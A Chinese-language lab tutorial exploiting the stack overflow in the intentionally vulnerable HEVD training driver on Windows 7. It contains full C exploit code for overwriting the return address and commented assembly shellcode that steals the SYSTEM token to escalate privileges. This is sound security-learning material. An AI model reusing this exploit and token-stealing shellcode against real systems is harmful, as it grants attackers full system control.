Windows Kernel Exploit - Stack Overflow
10 Jan 2018 Windows Kernel Exploit本篇以 HEVD 為案例進行實作,HEVD 是由 HackSysTeam 所開發的 Kernel Driver,該專案中包含了許多常見的漏洞,適合想練習 Windows Kernel Exploit 的研究人員練習,藉以用來練習各種漏洞利用方法。本篇以 Windows 7 為範例,本次測試的 Windows 7 沒有 SMEP 與 SMAP 防護機制,相對較簡單,有機會也會在其他版本的 Windows 上練習。
Description
- 本篇會省略工作環境的準備,專注於漏洞利用操作的細節
- 本篇利用的 Windows Driver 為 HackSysExtremeVulnerableDriver,選擇這項資源當作示範的原因是有 Source Code 能參考(更容易理解漏洞),相關 solution 可以參考 FuzzySecurity 的 PowerShell Kernel Pwn
Environment
- Windows 7 x86 SP1 (Version 6.1.7601)
- 無 SMEP(supervisor mode execution prevention) 防護機制
- 無 SMAP(supervisor mode access prevention) 防護機制
Tools
- VMware Workstation 12
- Visual Studio 2017
- WinDBG
- IDA Pro
- osrloaderv30
- cmd
Vulnerability
這是一個在 Windows Kernel Driver 的 StackOverflow 漏洞,接下來將了解該漏洞的細節。
通常 Windows Kernel Driver 的研究,會先從負責處理 IOCTL 的函數開始看起,可以透過 DriverEntry
中的 DriverObject -> MajorFunction[IRP_MJ_DEVICE_CONTROL]
找到,而在 HackSysTeam Driver 中可以透過 control code 0x222003
來觸發 Stack Overflow
這裡補充一下 IOCTL 的知識,Windows Kernel Driver 的 IOCTL 是 User Mode 與 Kernel Driver 之間溝通的方式,Kernel 與 User 會透過 IOCTL 來進行資料的傳遞,當 Kernel Driver 在處理從 User Mode 傳過來的資料時,若沒有檢查,可能會有問題。
BOOL WINAPI DeviceIoControl(
_In_ HANDLE hDevice,
_In_ DWORD dwIoControlCode,
_In_opt_ LPVOID lpInBuffer,
_In_ DWORD nInBufferSize,
_Out_opt_ LPVOID lpOutBuffer,
_In_ DWORD nOutBufferSize,
_Out_opt_ LPDWORD lpBytesReturned,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
了解 IOCTL 後,回到原來所討論的漏洞,HackSys Team 有提供 StackOverflow.c
的 Source Code ,不妨看 Source Code 相關部分來理解此漏洞
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[2048] = {0};
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
//用 sizeof 限制大小
#else
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); //UserBuffer 的大小
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
RtlCopyMemory
就是 memcpy
,常見的問題是沒有檢查 User Mode 傳過來的參數或大小,先看有問題的寫法( Source Code 第 28 行 ),這裡的 Size
是 UserBuffer 的大小
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
正確的寫法可以用 sizeof
來限制 memcpy 時,copy 的大小不會超出 KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
若是沒有檢查,可能會造成 Overflow,蓋到 ret
-0000081C KernelBuffer db 2048 dup(?)
-0000001C var_1C dd ?
-00000018 ms_exc CPPEH_RECORD ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 UserBuffer dd ? ; offset
+0000000C Size dd ?
+00000010
+00000010 ; end of stack variables
Exploit
- 首先,在 User Mode 申請一塊具有可讀可寫可執行 (RWX) 權限的記憶體,用來存放 Shellcode
- 把 token stealing shellcode 放到這塊記憶體中
- 取得 HacksysExtremeVulnerableDriver device 的 Handle
- 將 return address 修改為 Userland 中 shellcode 的記憶體位置, 當函數 return 後,shellcode 就會被執行
- Shellcode 會去找 system 這隻 process (PID = 4),並取得他的 token
- 還原 StackFrame,否則會藍屏,因為在 Kernel 中做事
- 擁有 system token 代表具有 system 的權限,用該權限建立的 cmd.exe 會有 system 的權限
HackSys Extreme Vulnerable Driver 的 Exploit StackOverflow.c
#include "StackOverflow.h"
DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
HANDLE hFile = NULL;
ULONG BytesReturned;
PVOID MemoryAddress = NULL;
PULONG UserModeBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
PVOID EopPayload = &TokenStealingPayloadWin7; //shellcode
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
__try {
DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");
if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
}
else {
DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
}
// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
hFile = GetDeviceHandle(FileName);
if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize);
if (!UserModeBuffer) {
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
}
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)EopPayload;
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");
OutputDebugString("****************Kernel Mode****************\n");
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
0,
&BytesReturned,
NULL);
OutputDebugString("****************Kernel Mode****************\n");
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
Shellcode
FS:[0x124]
在 Win 7 上會指向目前 Process 的KTHREAD
GS
與FS
是根據 OS Kernel 來決定用途,FS
在 Windows 上會指向一些 structureETHREAD
結構與ERPOCESS
結構圖
- 因為我們將函數 ret 的位置改成我們的 shellcode,Shellcode 執行完會無法回到原本正確的位置,所以為了讓程式能繼續執行,則需要調整 esp 的位置
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ; Save registers state
; 存目前暫存器的狀態,後面需要還原用
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
; 取得目前 Process 的 KTHREAD 放到 eax
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
; 取得[目前 Process 的 KTHREAD + EPROCESS_OFFSET] 的位置放到 eax
mov ecx, eax ; Copy current process _EPROCESS structure
; 複製目前 Process 的 Eprocess structure 到 ecx
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
; 從目前 eprocess 的 ActiveProcessLinks 找 system 的 eprocess
sub eax, FLINK_OFFSET ; Flink 會指向下個 eprocess 的 ActiveProcessLinks 所在位置(而不是開頭),所以需要 sub FLINK_OFFSET 回到下個 eprocess 的開頭
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
; 比較 nt!_EPROCESS.UniqueProcessId 是不是 4
jne SearchSystemPID ; 如果不是 4 就重新找,所以當跳出這個迴圈出來一定會是 4
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
; edx 指向 token 所在位置
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; 將目前 process token 換成 system token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
Result
開啟 cmd.exe 使用 whoami
看目前的權限
執行 Exploit code
再次開啟 cmd.exe 使用 whoami
看目前的權限